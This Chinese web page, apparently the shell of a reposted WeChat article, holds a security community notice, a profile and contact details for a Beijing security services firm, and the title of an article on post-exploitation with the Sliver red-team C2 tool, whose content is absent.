欢迎关注SecHub网络安全社区,SecHub网络安全社区目前邀请式注册,邀请码获取见公众号菜单【邀请码】
#
企业简介
赛克艾威 - 专注政企安全服务
北京赛克艾威科技有限公司(简称:赛克艾威),成立于2016年9月,具有中国网络安全审查技术与认证中心安全风险评估服务三级资质CCRC,信息安全保障人员资质CISAW(安全评估专家级)。
安全评估|渗透测试|漏洞扫描|安全巡检
代码审计|钓鱼演练|应急响应|安全运维
重大时刻安保|企业安全培训
联系方式
电话|010-86460828
官网|https://sechub.com.cn
关注我们
公众号:sechub安全
哔哩号:SecHub官方账号
原文始发于微信公众号(sechub安全):红队C2工具Sliver(五)| Sliver 后渗透操作
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论